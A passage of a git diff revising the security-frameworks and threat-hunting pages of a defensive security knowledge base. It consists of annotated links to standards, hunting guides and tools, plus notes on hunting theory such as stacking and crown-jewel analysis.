where they match up on the kill-chain and remember to look for any evidence of activity that might fall before it, or after it, in the kill-chain. +This is a great format for visualizing the timeline of an attack. When responding to an event or alert, identify where it matches up on the kill-chain and remember to look for any evidence of activity that might fall before or after it in the chain. {% file src="../.gitbook/assets/Gaining_the_Advantage_Cyber_Kill_Chain.pdf" %} Cyber Kill-Chain {% endfile %} +### [Unified Kill Chain](https://www.unifiedkillchain.com/) + +An extension of the kill chain concept that incorporates MITRE ATT\&CK nuances to cover the entire attack lifecycle. It unifies the phases of the attack into Initial Foothold, Network Propagation, and Action on Objectives, providing a more comprehensive view of modern attacks. + +### [Diamond Model of Intrusion Analysis](https://apps.dtic.mil/sti/citations/ADA586960) + +A framework for analyzing intrusion events by mapping the relationships between the four core features of an intrusion event: Adversary, Capability, Infrastructure, and Victim. It helps analysts pivot between these points to uncover more about the attack and understand the adversary's operations. + +### [The Pyramid of Pain](http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html) + +A conceptual model that illustrates the difficulty for an adversary to change their indicators of compromise (IOCs) when those indicators are detected and blocked by defenders. The higher up the pyramid you go, the more pain you inflict on the adversary. The levels are: +* **TTPs (Tough)**: Tactics, Techniques, and Procedures. +* **Tools (Challenging)**: Software used by the adversary. +* **Network/Host Artifacts (Annoying)**: Registry keys, specific protocol strings. +* **Domain Names (Simple)**: DNS names. +* **IP Addresses (Easy)**: IP addresses. +* **Hash Values (Trivial)**: MD5/SHA1 hashes of files. + ### [VERIS Framework](https://github.com/vz-risk/veris) -Common and reasonably popular format that has some lacking in a granular classification of events and attacks +A common and reasonably popular format, though it lacks some granular classification of events and attacks compared to other frameworks. ### Other Standards -* [https://microsoft.github.io/Azure-Threat-Research-Matrix/](https://microsoft.github.io/Azure-Threat-Research-Matrix/) - A knowledge base built to document known TTPs within Azure and Azure AD. - * [https://techcommunity.microsoft.com/t5/security-compliance-and-identity/introducing-the-azure-threat-research-matrix/ba-p/3584976](https://techcommunity.microsoft.com/t5/security-compliance-and-identity/introducing-the-azure-threat-research-matrix/ba-p/3584976) +* [CVSS (Common Vulnerability Scoring System)](https://www.first.org/cvss/) - The open industry standard for assessing the severity of computer system security vulnerabilities. +* [STIX/TAXII](https://oasis-open.github.io/cti-documentation/) - Structured Threat Information Expression (STIX) is a language for describing cyber threat intelligence. Trusted Automated Exchange of Intelligence Information (TAXII) defines how STIX information is shared. +* [STRIDE](https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats) - A threat modeling methodology. The acronym stands for Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege. +* [YARA](https://github.com/VirusTotal/yara) - The de facto standard mechanism for classifying and matching malware samples based on textual or binary patterns. * [STIGs Benchmarks - Security Technical Implementation Guides](https://public.cyber.mil/stigs/) * [NIST - Current FIPS](https://www.nist.gov/itl/current-fips) * [ISO Standards Catalogue](https://www.iso.org/standards.html) * [Common Criteria for Information Technology Security Evaluation (CC)](https://www.commoncriteriaportal.org/cc/) is an international standard (ISO / IEC 15408) for computer security. It allows an objective evaluation to validate that a particular product satisfies a defined set of security requirements. -* [ISO 22301](https://www.iso.org/en/contents/data/standard/07/51/75106.html) is the international standard that provides a best-practice framework for implementing an optimised BCMS (business continuity management system). -* [ISO27001](https://www.iso.org/isoiec-27001-information-security.html) is the international standard that describes the requirements for an ISMS (information security management system). The framework is designed to help organizations manage their security practices in one place, consistently and cost-effectively. -* [ISO 27701](https://www.iso.org/en/contents/data/standard/07/16/71670.html) specifies the requirements for a PIMS (privacy information management system) based on the requirements of ISO 27001. It is extended by a set of privacy-specific requirements, control objectives and controls. Companies that have implemented ISO 27001 will be able to use ISO 27701 to extend their security efforts to cover privacy management. +* [ISO 22301](https://www.iso.org/en/contents/data/standard/07/51/75106.html) is the international standard that provides a best-practice framework for implementing an optimized BCMS (business continuity management system). +* [ISO 27001](https://www.iso.org/isoiec-27001-information-security.html) is the international standard that describes the requirements for an ISMS (information security management system). The framework is designed to help organizations manage their security practices in one place, consistently and cost-effectively. +* [ISO 27701](https://www.iso.org/en/contents/data/standard/07/16/71670.html) specifies the requirements for a PIMS (privacy information management system) based on the requirements of ISO 27001. It is extended by a set of privacy-specific requirements, control objectives, and controls. Companies that have implemented ISO 27001 will be able to use ISO 27701 to extend their security efforts to cover privacy management. * [EU GDPR (General Data Protection Regulation)](https://gdpr.eu/) is a privacy and data protection law that supersedes existing national data protection laws across the EU, bringing uniformity by introducing just one main data protection law for companies/organizations to comply with. -* [CCPA (California Consumer Privacy Act)](https://www.oag.ca.gov/privacy/ccpa) is a data privacy law that took effect on January 1, 2020 in the State of California. It applies to businesses that collect California residents’ personal information, and its privacy requirements are similar to those of the EU’s GDPR (General Data Protection Regulation). +* [CCPA (California Consumer Privacy Act)](https://www.oag.ca.gov/privacy/ccpa) is a data privacy law that took effect on January 1, 2020, in the State of California. It applies to businesses that collect California residents’ personal information, and its privacy requirements are similar to those of the EU’s GDPR (General Data Protection Regulation). * [Payment Card Industry (PCI) Data Security Standards (DSS)](https://docs.microsoft.com/en-us/microsoft-365/compliance/offering-pci-dss) is a global information security standard designed to prevent fraud through increased control of credit card data. -* [SOC 2](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/aicpasoc2report.html) is an auditing procedure that ensures your service providers securely manage your data to protect the interests of your comapny/organization and the privacy of their clients. -* [NIST CSF](https://www.nist.gov/national-security-standards) is a voluntary framework primarily intended for critical infrastructure organizations to manage and mitigate cybersecurity risk based on existing best practice. -* [Landlock LSM(Linux Security Module)](https://www.kernel.org/doc/html/latest/security/landlock.html) is a framework to create scoped access-control (sandboxing). Landlock is designed to be usable by unprivileged processes while following the system security policy enforced by other access control mechanisms (DAC, LSM, etc.). -* [Secure boot](https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-secure-boot) is a security standard developed by members of the PC industry to help make sure that a device boots(Unified Extensible Firmware Interface (UEFI) BIOS) using only software(such as bootloaders, OS, UEFI drivers, and utilities) that is trusted by the Original Equipment Manufacturer (OEM). +* [SOC 2](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/aicpasoc2report.html) is an auditing procedure that ensures your service providers securely manage your data to protect the interests of your company/organization and the privacy of their clients. +* [Landlock LSM (Linux Security Module)](https://www.kernel.org/doc/html/latest/security/landlock.html) is a framework to create scoped access-control (sandboxing). Landlock is designed to be usable by unprivileged processes while following the system security policy enforced by other access control mechanisms (DAC, LSM, etc.). +* [Secure Boot](https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-secure-boot) is a security standard developed by members of the PC industry to help make sure that a device boots (Unified Extensible Firmware Interface (UEFI) BIOS) using only software (such as bootloaders, OS, UEFI drivers, and utilities) that is trusted by the Original Equipment Manufacturer (OEM). diff --git a/blue-defense/threat-hunting.md b/blue-defense/threat-hunting.md index 41608d2..68005c7 100644 --- a/blue-defense/threat-hunting.md +++ b/blue-defense/threat-hunting.md @@ -2,27 +2,25 @@ ## **Intro** -​![](https://gblobscdn.gitbook.com/assets%2F-MQCNQTNhvnXD58Vo8Mf%2F-MS-KB8awA05FAZQytVw%2F-MS-KvDnsqWVg5ExVPRO%2Fimage.png?alt=media\&token=d9850058-0275-4b4c-ab63-92a82092b6d0)​![](https://gblobscdn.gitbook.com/assets%2F-MQCNQTNhvnXD58Vo8Mf%2F-MS-KB8awA05FAZQytVw%2F-MS-Kx3vVxBJowwth4L5%2Fimage.png?alt=media\&token=2e0300fe-81d9-4e51-83cb-7fab2fb2aec7) - -Threat hunting doesn’t have to be complex, but it’s not for everyone. Knowing how to begin and end a hunt is more important than knowing how to carry out a hunt**.** If you need a place to start, look at trends in the threat landscape and focus on threats that you do not have automated alerts/detections for. Hunting is a creative process that rewards those who take chances. Finish with something, anything actionable — so long as it provides value. +Threat hunting doesn’t have to be complex, but it isn't for everyone. Knowing how to begin and end a hunt is more important than knowing how to carry out a hunt. If you need a place to start, look at trends in the threat landscape and focus on threats that you do not have automated alerts/detections for. Hunting is a creative process that rewards those who take chances. Finish with something — anything actionable — so long as it provides value. ## Guides and Reference {% tabs %} {% tab title="General" %} * [Threat Hunter Playbook](https://threathunterplaybook.com/introduction.html) - a community-based open source project developed to share threat hunting concepts and aid the development of techniques and hypothesis for hunting campaigns by leveraging security event logs from diverse operating systems. -* [huntpedia.pdf](https://www.threathunting.net/files/huntpedia.pdf) - Book written by seasoned threat hunters on thier techniques and theory. +* [huntpedia.pdf](https://www.threathunting.net/files/huntpedia.pdf) - Book written by seasoned threat hunters on their techniques and theory. * [Open Threat Research Forge](https://github.com/OTRF) - Github repository of Threat Hunting articles, playbooks and tools. +* [Sigma HQ](https://github.com/SigmaHQ/sigma) - Generic Signature Format for SIEM Systems. * [Awesome Lists Collection: Awesome Threat Detection](https://github.com/0x4D31/awesome-threat-detection) and Hunting * [awesome-threat-detection/hunt-evil.pdf](https://github.com/0x4D31/awesome-threat-detection/blob/master/docs/hunt-evil.pdf) * [awesome-threat-detection/The-Hunters-Handbook.pdf](https://github.com/0x4D31/awesome-threat-detection/blob/master/docs/The-Hunters-Handbook.pdf) * [ACM's Threat Hunting Labs](https://activecm.github.io/threat-hunting-labs/) - These are a series of labs that cover different types of analysis that can be done on network data when threat hunting. * [A Simple Hunting Maturity Model | Enterprise Detection & Response](https://detect-respond.blogspot.com/2015/10/a-simple-hunting-maturity-model.html) -* [HowToHunt](https://github.com/KathanP19/HowToHunt) - Tutorials and Things to Do while Hunting Vulnerability. -* [ThreatHunting Home](https://www.threathunting.net/) - Links and Blog on popular threat hunting proceedures -* [Tool Analysis Result Sheet](https://jpcertcc.github.io/ToolAnalysisResultSheet/) - JP-CERT analysis on detecting the use of multiple popular tools within an network environment. -* [https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE5aC6y?culture=en-us\&country=US](https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE5aC6y?culture=en-us\&country=US) - Microsoft's Threat Hunting Survival Guide -* [https://drive.google.com/file/d/14DluguBRjlUt9GWTUpGIB802qnHD2Olp/view](https://drive.google.com/file/d/14DluguBRjlUt9GWTUpGIB802qnHD2Olp/view) - Introduciton to Threat Hunting part 1 +* [ThreatHunting Home](https://www.threathunting.net/) - Links and Blog on popular threat hunting procedures +* [Tool Analysis Result Sheet](https://jpcertcc.github.io/ToolAnalysisResultSheet/) - JP-CERT analysis on detecting the use of multiple popular tools within a network environment. +* [Microsoft's Threat Hunting Survival Guide](https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE5aC6y?culture=en-us\&country=US) +* [Introduction to Threat Hunting part 1](https://drive.google.com/file/d/14DluguBRjlUt9GWTUpGIB802qnHD2Olp/view) {% endtab %} {% tab title="Hunting with MITRE ATTACK" %} @@ -45,7 +43,7 @@ Threat hunting doesn’t have to be complex, but it’s not for everyone. Knowin Hunting in Windows Events -* [https://fourcore.io/blogs/threat-hunting-with-windows-event-log-sigma-rules](https://fourcore.io/blogs/threat-hunting-with-windows-event-log-sigma-rules) +* [Threat Hunting with Windows Event Log Sigma Rules](https://fourcore.io/blogs/threat-hunting-with-windows-event-log-sigma-rules) @@ -64,18 +62,17 @@ Threat hunting doesn’t have to be complex, but it’s not for everyone. Knowin Cloud Hunting - Azure/O365 -* [![](https://miro.medium.com/1\*m-R\_BkNf1Qjr1YbyOIJY2w.png)Threat Hunting with Microsoft O365 Logs](https://medium.com/@theartofdefense/threat-hunting-with-microsoft-o365-logs-9f64b5fd49e9) -* [![](https://www.youtube.com/s/desktop/2cbeb7d0/img/favicon\_32x32.png)Threat Hunting in the Microsoft Cloud: Times They Are a-Changin' | John Stoner](https://www.youtube.com/watch?v=3fQJT1NXYrA) -* G[itHub - microsoft/Microsoft-365-Defender-Hunting-Queries: Sample queries for Advanced hunting in Microsoft 365 Defender](https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries) -* H[ow Security Center and Log Analytics can be used for Threat Hunting](https://azure.microsoft.com/en-us/blog/ways-to-use-azure-security-center-log-analytics-for-threat-hunting/) +* [Threat Hunting with Microsoft O365 Logs](https://medium.com/@theartofdefense/threat-hunting-with-microsoft-o365-logs-9f64b5fd49e9) +* [Threat Hunting in the Microsoft Cloud: Times They Are a-Changin' | John Stoner](https://www.youtube.com/watch?v=3fQJT1NXYrA) +* [GitHub - microsoft/Microsoft-365-Defender-Hunting-Queries: Sample queries for Advanced hunting in Microsoft 365 Defender](https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries) +* [How Security Center (Microsoft Defender for Cloud) and Log Analytics can be used for Threat Hunting](https://azure.microsoft.com/en-us/blog/ways-to-use-azure-security-center-log-analytics-for-threat-hunting/) * [GitHub - invictus-ir/Blue-team-app-Office-365-and-Azure](https://github.com/invictus-ir/Blue-team-app-Office-365-and-Azure) * [Threat Hunting in Azure with AC-Hunter - Active Countermeasures](https://www.activecountermeasures.com/threat-hunting-in-azure-with-ac-hunter/) -* [ThreatHunting/AzureSentinel at master · GossiTheDog/ThreatHunting](https://github.com/GossiTheDog/ThreatHunting/tree/master/AzureSentinel) +* [ThreatHunting/Microsoft Sentinel (formerly Azure Sentinel) at master · GossiTheDog/ThreatHunting](https://github.com/GossiTheDog/ThreatHunting/tree/master/AzureSentinel) * [GitHub - darkquasar/AzureHunter: A Cloud Forensics Powershell module to run threat hunting playbooks on data from Azure and O365](https://github.com/darkquasar/AzureHunter) -* [https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries](https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries) -* [https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/advanced-hunting-schema-reference](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/advanced-hunting-schema-reference) -* [https://expel.io/blog/seven-ways-to-spot-business-email-compromise-office-365/](https://expel.io/blog/seven-ways-to-spot-business-email-compromise-office-365/) -* [https://github.com/Bert-JanP/Hunting-Queries-Detection-Rules](https://github.com/Bert-JanP/Hunting-Queries-Detection-Rules) +* [Microsoft Defender Advanced Hunting Schema Reference](https://learn.microsoft.com/en-us/defender-xdr/advanced-hunting-schema-tables) +* [Seven ways to spot business email compromise Office 365](https://expel.io/blog/seven-ways-to-spot-business-email-compromise-office-365/) +* [Hunting Queries Detection Rules](https://github.com/Bert-JanP/Hunting-Queries-Detection-Rules) @@ -83,13 +80,13 @@ Threat hunting doesn’t have to be complex, but it’s not for everyone. Knowin Cloud Hunting - AWS -* [https://www.splunk.com/en\_us/blog/security/cloudtrail-digital-breadcrumbs-for-aws.html](https://www.splunk.com/en\_us/blog/security/cloudtrail-digital-breadcrumbs-for-aws.html) -* [https://www.splunk.com/en\_us/blog/security/go-with-the-flow-network-telemetry-vpc-data-in-aws.html](https://www.splunk.com/en\_us/blog/security/go-with-the-flow-network-telemetry-vpc-data-in-aws.html) -* [https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws](https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws) -* [https://labs.bishopfox.com/tech-blog/5-privesc-attack-vectors-in-aws](https://labs.bishopfox.com/tech-blog/5-privesc-attack-vectors-in-aws) -* [https://www.hunters.ai/blog/hunters-research-detecting-obfuscated-attacker-ip-in-aws](https://www.hunters.ai/blog/hunters-research-detecting-obfuscated-attacker-ip-in-aws) -* [https://pages.awscloud.com/rs/112-TZM-766/images/How-to-Build-a-Threat-Hunting-Capability-in-AWS\_Slides.pdf](https://pages.awscloud.com/rs/112-TZM-766/images/How-to-Build-a-Threat-Hunting-Capability-in-AWS\_Slides.pdf) -* [https://docs.aws.amazon.com/prescriptive-guidance/latest/security-reference-architecture/architecture.html](https://docs.aws.amazon.com/prescriptive-guidance/latest/security-reference-architecture/architecture.html) +* [CloudTrail: Digital Breadcrumbs for AWS](https://www.splunk.com/en_us/blog/security/cloudtrail-digital-breadcrumbs-for-aws.html) +* [Go With the Flow: Network Telemetry & VPC Data in AWS](https://www.splunk.com/en_us/blog/security/go-with-the-flow-network-telemetry-vpc-data-in-aws.html) +* [Privilege Escalation in AWS](https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws) +* [5 Privilege Escalation Attack Vectors in AWS](https://labs.bishopfox.com/tech-blog/5-privesc-attack-vectors-in-aws) +* [Detecting Obfuscated Attacker IP in AWS](https://www.hunters.ai/blog/hunters-research-detecting-obfuscated-attacker-ip-in-aws) +* [How to Build a Threat Hunting Capability in AWS (PDF)](https://pages.awscloud.com/rs/112-TZM-766/images/How-to-Build-a-Threat-Hunting-Capability-in-AWS_Slides.pdf) +* [AWS Security Reference Architecture](https://docs.aws.amazon.com/prescriptive-guidance/latest/security-reference-architecture/architecture.html) @@ -98,49 +95,57 @@ Threat hunting doesn’t have to be complex, but it’s not for everyone. Knowin {% tabs %} {% tab title="OS/VM " %} * [RedHunt-OS](https://github.com/redhuntlabs/RedHunt-OS) - Virtual Machine for Adversary Emulation and Threat Hunting by [RedHunt Labs](https://redhuntlabs.com/) -* [ThreatPursuit-VM](https://github.com/fireeye/ThreatPursuit-VM) - A fully customizable, open-sourced Windows-based distribution focused on threat intelligence analysis and hunting designed for intel and malware analysts as well as threat hunters to get up and running quickly. {% endtab %} -{% tab title="Hunting Platforms and Toolkits" %} +{% tab title="Legacy/Archived" %} +* [ThreatPursuit-VM](https://github.com/fireeye/ThreatPursuit-VM) - A fully customizable, open-sourced Windows-based distribution focused on threat intelligence analysis and hunting designed for intel and malware analysts as well as threat hunters to get up and running quickly. (Archived/No longer updated) * [HELK: The Hunting ELK](https://github.com/Cyb3rWard0g/HELK) - The Hunting ELK or simply the HELK is one of the first open source hunt platforms with advanced analytics capabilities such as SQL declarative language, graphing, structured streaming, and even machine learning via Jupyter notebooks and Apache Spark over an ELK stack. * [ACM's AI-Hunter ](https://www.activecountermeasures.com/ac-hunter-how-it-works/)- Platform for hunting and detecting malware on your network. * [ThreatHunter's Toolkit](https://github.com/ethack/tht) - Threat Hunting Toolkit is a Swiss Army knife for threat hunting, log processing, and security-focused data science - * [https://www.blackhillsinfosec.com/wp-content/uploads/2021/11/SLIDES\_LookingforNeedlesinNeedlestacks.pdf](https://www.blackhillsinfosec.com/wp-content/uploads/2021/11/SLIDES\_LookingforNeedlesinNeedlestacks.pdf) - * [https://www.youtube.com/watch?v=q7ai6P-cHaQ\&t=2107s](https://www.youtube.com/watch?v=q7ai6P-cHaQ\&t=2107s) + * [Looking for Needles in Needlestacks (PDF)](https://www.blackhillsinfosec.com/wp-content/uploads/2021/11/SLIDES_LookingforNeedlesinNeedlestacks.pdf) + * [Threat Hunting Presentation (Video)](https://www.youtube.com/watch?v=q7ai6P-cHaQ\&t=2107s) {% endtab %} {% tab title="DNS" %} * [freq.py](https://github.com/sans-blue-team/freq.py) - Mark Baggett's tool for detecting randomness using NLP techniques rather than pure entropy calculations. Uses character pair frequency analysis to determine the likelihood of tested strings of characters occurring. -* [domain\_stats](https://github.com/MarkBaggett/domain\_stats) - Domain\_stats is a log enhancment utility that is intended help you find threats in your environment. It will identify the following possible threats in your environment. -* [dnstwist](https://github.com/elceef/dnstwist) - Domain name permutation engine for detecting homograph phishing attacks, typo squatting, and brand impersonation +* [domain\_stats](https://github.com/MarkBaggett/domain\_stats) - Domain\_stats is a log enhancement utility that is intended to help you find threats in your environment. It will identify the following possible threats in your environment. +* Domain permutation and typo-squatting tools such as dnstwist are covered in Domain OSINT. + +{% content-ref url="../cyber-intelligence/osint/domain.md" %} +[domain.md](../cyber-intelligence/osint/domain.md) +{% endcontent-ref %} {% endtab %} {% tab title="Misc" %} -* [Awesome Lists Collection: Cobalt Strike Defense](https://github.com/MichaelKoczwara/Awesome-CobaltStrike-Defence) +* [Awesome Lists Collection: Cobalt Strike Defense](https://github.com/MichaelKoczwara/Awesome-CobaltStrike-Defence) * [DeepBlueCLI](https://github.com/sans-blue-team/DeepBlueCLI) - a PowerShell Module for Threat Hunting via Windows Event Logs * [LogonTracer](https://github.com/JPCERTCC/LogonTracer) - LogonTracer is a tool to investigate malicious logon by visualizing and analyzing Windows Active Directory event logs. -* [APT-Hunter](https://github.com/ahmedkhlief/APT-Hunter) - Threat Hunting tool for windows event logs which made by purple team mindset to provide detect APT movements hidden in the sea of windows event logs to decrease the time to uncover suspicious activity -* [PSHunt](https://github.com/Infocyte/PSHunt) - Powershell Threat Hunting Module -* [PSRecon](https://github.com/gfoss/PSRecon) - Gathers data from a remote Windows host using PowerShell (v2 or later), organizes the data into folders, hashes all extracted data, hashes PowerShell and various system properties, and sends the data off to the security team. The data can be pushed to a share, sent over email, or retained locally. -* [Mihari ](https://github.com/ninoseki/mihari)- A framework for continuous OSINT based threat hunting +* [APT-Hunter](https://github.com/ahmedkhlief/APT-Hunter) - Threat Hunting tool for windows event logs which made by purple team mindset to provide detect APT movements hidden in the sea of windows event logs to decrease the time to uncover suspicious activity +* [CyberChef](https://gchq.github.io/CyberChef/) - The "Cyber Swiss Army Knife" - a web app for encryption, encoding, compression and data analysis. * [Oriana](https://github.com/mvelazc0/Oriana) - A threat hunting tool that leverages a subset of Windows events to build relationships, calculate totals and run analytics. The results are presented in a Web layer to help defenders identify outliers and suspicious behavior on corporate environments. -* [rastrea2r](https://github.com/rastrea2r/rastrea2r) - A multi-platform open source tool that allows incident responders and SOC analysts to triage suspect systems and hunt for Indicators of Compromise (IOCs) across thousands of endpoints in minutes. * [Zircolite](https://github.com/wagga40/Zircolite) - A standalone SIGMA-based detection tool for EVTX. -* [chainsaw](https://github.com/countercept/chainsaw) - Rapidly Search and Hunt through Windows Event Logs -* [https://www.nextron-systems.com/thor-lite/](https://www.nextron-systems.com/thor-lite/) - fast and flexible multi-platform IOC and [YARA](http://virustotal.github.io/yara/) scanner - * [LOKI](https://github.com/Neo23x0/LOKI) - imple IOC and Incident Response Scanner - * [https://github.com/Neo23x0/signature-base](https://github.com/Neo23x0/signature-base) - * [https://www.nextron-systems.com/valhalla/](https://www.nextron-systems.com/valhalla/) +* [chainsaw](https://github.com/WithSecureLabs/chainsaw) - Rapidly Search and Hunt through Windows Event Logs +* For THOR Lite, Loki, signature-base, Valhalla, and YARA scanning, use DFIR. + +{% content-ref url="../dfir-digital-forensics-and-incident-response/" %} +[dfir-digital-forensics-and-incident-response](../dfir-digital-forensics-and-incident-response/) +{% endcontent-ref %} +{% endtab %} + +{% tab title="Legacy/Archived" %} +* [PSHunt](https://github.com/Infocyte/PSHunt) - Powershell Threat Hunting Module (Last update: 2016) +* [PSRecon](https://github.com/gfoss/PSRecon) - Gathers data from a remote Windows host using PowerShell (v2 or later). (Last update: 2014) +* [rastrea2r](https://github.com/rastrea2r/rastrea2r) - A multi-platform open source tool that allows incident responders and SOC analysts to triage suspect systems and hunt for Indicators of Compromise (IOCs) across thousands of endpoints in minutes. (Last update: 2016) {% endtab %} {% endtabs %} -### **Splunkhunting** +### **Splunk Hunting**
@@ -166,10 +171,10 @@ Threat hunting doesn’t have to be complex, but it’s not for everyone. Knowin * [ATT\&CKized Splunk - Threat Hunting with MITRE’s ATT\&CK using SplunkSecurity Affairs](https://securityaffairs.co/wordpress/81288/security/hunting-mitres-attck-splunk.html) * [Detecting malware beacons using Splunk | geekery](https://pleasefeedthegeek.wordpress.com/2012/12/20/detecting-malware-beacons-using-splunk/) * [red|blue: Automating APT Scanning with Loki Scanner and Splunk](https://www.redblue.team/2017/04/automating-apt-scanning-with-loki.html?m=1) -* [Detecting dynamic DNS domains in Splunk | Splunk](https://www.splunk.com/en\_us/blog/security/detecting-dynamic-dns-domains-in-splunk.html) -* [hunting\_the\_known\_unknowns\_with\_DNS.pdf](https://www.splunk.com/pdfs/events/govsummit/hunting\_the\_known\_unknowns\_with\_DNS.pdf) -* [https://www.deepwatch.com/blog/threat-hunting-in-splunk/](https://www.deepwatch.com/blog/threat-hunting-in-splunk/) -* [SEC1244 - Cops and Robbers: Simulating the Adversary to Test Your Splunk Security Analytics](https://static.rainfocus.com/splunk/splunkconf18/sess/1522696002986001hj1a/finalPDF/Simulating-the-Adversary-Test-1244\_1538791048709001YJnK.pdf) +* [Detecting dynamic DNS domains in Splunk | Splunk](https://www.splunk.com/en_us/blog/security/detecting-dynamic-dns-domains-in-splunk.html) +* [Hunting The Known Unknowns with DNS (PDF)](https://www.splunk.com/pdfs/events/govsummit/hunting_the_known_unknowns_with_DNS.pdf) +* [Threat Hunting in Splunk](https://www.deepwatch.com/blog/threat-hunting-in-splunk/) +* [Cops and Robbers: Simulating the Adversary to Test Your Splunk Security Analytics (PDF)](https://static.rainfocus.com/splunk/splunkconf18/sess/1522696002986001hj1a/finalPDF/Simulating-the-Adversary-Test-1244_1538791048709001YJnK.pdf)
@@ -177,29 +182,30 @@ Threat hunting doesn’t have to be complex, but it’s not for everyone. Knowin ## **Hunting Theory** -* Types of Hunts - \*\*This will cause some disagreement amongst threat hunting theorists, but this is the common thought process.\*\* There are 3 types of hunts: - * Automated - IoC ingest, should be performed by your SIEM and SOAR +* **Types of Hunts** - This will cause some disagreement amongst threat hunting theorists, but this is the common thought process. There are 3 types of hunts: + * Automated - IoC ingest, should be performed by your SIEM and SOAR. * Continuous - Situational awareness and Behavioral analytics. If these can be turned into alerting searches, all the better. Otherwise these should be scheduled at reasonable intervals. * On demand - Looking for specific activity. This typically has a temporal element such as responding to given intelligence. -* 3 types of Hunt hypothesis - * Threat Intelligence - These are hunts for specific indicators. These are easy low handing fruit, and should be followed by adding the indicators to any alerting mechanisms present. +* **3 Types of Hunt Hypotheses** + * Threat Intelligence - These are hunts for specific indicators. These are easy low hanging fruit, and should be followed by adding the indicators to any alerting mechanisms present. + * **Note on Indicators:** It is crucial to distinguish between an **Indicator of Compromise (IoC)**, which is reactive (e.g., a hash or IP), and an **Indicator of Attack (IoA)**, which focuses on the intent and behavior of the attacker (e.g., code execution method). * Situational Awareness - These hunts are for looking at normal system and network operations and identifying activity that is outside of normal operations. This can include changes in volume/frequency of events, the methodology of certain activities, or the specific data points associated with certain events. - * One of the biggest threat hunting skills is not only seeing what data doesnt belong, but also see what data is missing. + * One of the biggest threat hunting skills is not only seeing what data doesn't belong, but also see what data is missing. * Domain Expertise - This is one that requires specific knowledge of your local environment. These hunts look for similar items as Situational Awareness, with the added context of looking for oddities in your specific organizations operations. Many of these will be violations of corporate policy or local practice and standards. -* Hunt determinations - * Can this hunt be automated? - * Can this hunt be repeatable? - * Are the indicators in this hunt monitored by other services? - * Are we already hardened against these indicators? -* Hunting Strategy questions: +* **Hunt Determinations** + * Can this hunt be automated? + * Can this hunt be repeatable? + * Are the indicators in this hunt monitored by other services? + * Are we already hardened against these indicators? +* **Hunting Strategy questions:** * What are you hunting? * Where will you find it? * How will you find it? - * When will you find it? - * _\*_Ask these questions from each point int he Diamond Model -* [a-simple-hunting-maturity-model](https://detect-respond.blogspot.com/2015/10/a-simple-hunting-maturity-model.html) -* [the-pyramid-of-pain](https://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html) - * _Threat Hunting with Elastic Stack - pg. 29_ + * When will you find it? + * \*Ask these questions from each point in the [Diamond Model](http://www.activecampaign.com/media/diamond_model_intrusion_analysis.pdf). +* [A simple hunting maturity model](https://detect-respond.blogspot.com/2015/10/a-simple-hunting-maturity-model.html) +* [The Pyramid of Pain](https://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html) + * _Threat Hunting with Elastic Stack - pg. 29_ ## Techniques @@ -211,11 +217,15 @@ These are hunt theories and searches that can and should be performed on the reg * [Windows Commands Abused by Attackers - JPCERT](https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html) * [Cisco Talos Intelligence Group - Comprehensive Threat Intelligence: Hunting for LoLBins](https://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html) * [ThreatHunting.se Hunt Posts](https://www.threathunting.se/detection-rules/) -* [https://github.com/paladin316/ThreatHunting](https://github.com/paladin316/ThreatHunting) +* [ThreatHunting Repo](https://github.com/paladin316/ThreatHunting) + +### **Stacking (Frequency Analysis)** + +Stacking is a technique used to identify anomalies by counting the frequency of occurrences of specific data points. By stacking values such as process names, parent-child process relationships, or domain names, hunters can identify outliers—items that appear infrequently (the "long tail") or frequently but in unexpected contexts. ### Long Tail Analysis - [https://www.ericconrad.com/2015/01/long-tail-analysis-with-eric-conrad.html](https://www.ericconrad.com/2015/01/long-tail-analysis-with-eric-conrad.html) +* [Long Tail Analysis with Eric Conrad](https://www.ericconrad.com/2015/01/long-tail-analysis-with-eric-conrad.html) ### **Crown Jewel Analysis** @@ -224,15 +234,18 @@ Preparing for CJA requires organizations to do the following: * Identify the organization’s core missions. * Map the mission to the assets and information upon which it relies. * Discover and document the resources on the network. -* Construct attack graphs. → Determine dependencies on other systems or information. → Analyze potential attack paths for the assets and their interconnections. → Rate any potential vulnerabilities according to severity. +* Construct attack graphs. + * Determine dependencies on other systems or information. + * Analyze potential attack paths for the assets and their interconnections. + * Rate any potential vulnerabilities according to severity. * This type of analysis allows hunters to prioritize their efforts to protect their most tempting targets by generating hypotheses about the threats that could impact the organization the most. * Crown Jewel Analysis - _Crafting the Infosec Playbook: pg. 21_ ### Misc -* [Finding the Elusive Active Directory Threat Hunting - 2017-BSidesCharm-DetectingtheElusive-ActiveDirectoryThreatHunting-Final.pdf](https://adsecurity.org/wp-content/uploads/2017/04/2017-BSidesCharm-DetectingtheElusive-ActiveDirectoryThreatHunting-Final.pdf) +* [Finding the Elusive Active Directory Threat Hunting (PDF)](https://adsecurity.org/wp-content/uploads/2017/04/2017-BSidesCharm-DetectingtheElusive-ActiveDirectoryThreatHunting-Final.pdf) * [Quantify Your Hunt: Not Your Parent’s Red Teaming Redux](https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1536351477.pdf) * [2019 Threat Detection Report](https://redcanary.com/resources/guides/threat-detection-report/) -* [A Process is No One : 